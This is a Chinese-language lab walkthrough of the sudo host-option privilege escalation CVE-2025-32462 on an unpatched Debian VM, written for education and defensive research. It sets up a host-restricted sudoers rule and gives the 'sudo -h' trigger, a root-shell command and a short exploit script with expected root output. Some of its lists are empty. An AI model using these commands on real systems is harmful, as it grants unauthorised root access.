CVE-2025-32462 是一个 sudo 中的本地权限提升漏洞,允许低权限用户通过滥用主机名受限的sudo规则,以 root 身份执行命令。问题在于 sudo 在授权检查中历史上对 -h(主机)选项的处理方式。
当一条sudoers规则限定在特定主机名时,sudo 只应在系统主机名与该规则匹配时允许执行。由于逻辑缺陷,受影响版本信任通过 sudo -h 提供的用户指定主机名,使攻击者能够完全绕过这一限制。
sudo 允许 -h <主机名> 参数影响授权决策。在受影响版本中,所提供的宿主名在sudoers规则评估时被信任,而非严格对照系统实际主机名进行验证。
因此,基于主机的sudo限制可以被绕过。
如果成功利用,本地攻击者可以:
在实际环境中,此漏洞在以下场景中尤为危险:
| 组件 | 详情 |
|---|---|
| 操作系统 | Debian 11 (Bullseye – 未打补丁) |
| sudo版本 | ≤ 1.9.13 |
| 访问级别 | 本地用户 |
| 虚拟化 | VirtualBox |
⚠️ 注意: 现代Ubuntu和Debian版本已经向后移植了补丁,同时保留了相似的版本字符串。此漏洞无法在已修补的系统上复现。
sudo --version
预期(存在漏洞的):
Sudo version 1.9.5p2
sudo useradd -m attacker
sudo passwd attacker
groups attacker
预期:
attacker : attacker
用户不能属于 sudo 组。
安全地编辑sudoers:
sudo visudo
添加以下行:
attacker prod-server = (root) ALL
prod-server 是一个假的主机名验证:
sudo -l -U attacker
预期:
User attacker may run the following commands on prod-server:
(root) ALL
切换用户:
su - attacker
尝试正常执行sudo:
sudo id
预期:
attacker is not allowed to run sudo on <hostname>
触发漏洞:
sudo -h prod-server id
成功利用的输出:
uid=0(root) gid=0(root) groups=0(root)
获取root shell:
sudo -h prod-server /bin/bash
验证:
id
#!/bin/bash
echo "[*] Attempting CVE-2025-32462 exploitation"
sudo -h prod-server id
保存为 exploit.sh,赋予执行权限,并以 attacker 用户身份运行:
chmod +x exploit.sh
./exploit.sh
| 动作 | 结果 |
|---|---|
| 正常sudo | ❌ 拒绝 |
sudo -h prod-server id | ✅ Root |
这确认了成功的权限提升。
现代Ubuntu版本似乎搭载了处于受影响范围内的sudo版本。然而,Ubuntu已经向后移植了CVE‑2025‑32462的安全修复,而未更改上游版本字符串。
因此:
sudo -h 选项不再影响授权检查这凸显了使用行为测试而非仅凭版本字符串来验证漏洞状态的重要性。
sudo 升级到已修补版本本演练仅用于教育和防御性安全研究目的。请勿在您不拥有或未获明确授权评估的系统上测试此漏洞。